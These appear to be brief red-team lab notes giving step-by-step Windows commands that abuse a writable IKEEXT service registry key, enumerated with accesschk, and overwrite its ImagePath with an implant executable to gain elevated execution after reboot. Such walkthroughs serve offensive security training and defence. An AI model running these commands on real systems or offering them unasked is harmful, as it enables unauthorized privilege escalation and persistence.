First: query all registries

accesschk.exe -accepteula -wuvskq "HKLM\System\CurrentControlSet\Services" > c:\rto\regs.txt

Second: Open the file and search for the Word Authenticated

notepad c:\rto\regs.txt

Notice that the Authenticated Users have all access to the IKEEXT Registry

Third: Let’s query that registry for interesting parameter

reg query HKLM\System\CurrentControlSet\Services\IKEEXT

Fourth: change the Image Path to point to our malicious payload

reg add HKLM\SYSTEM\CurrentControlSet\services\IKEEXT /v ImagePath /t REG_EXPAND_SZ /d C:\rto\lpe\implant\implantsrv.exe /f

Now once the machine is rebooted we will be elevated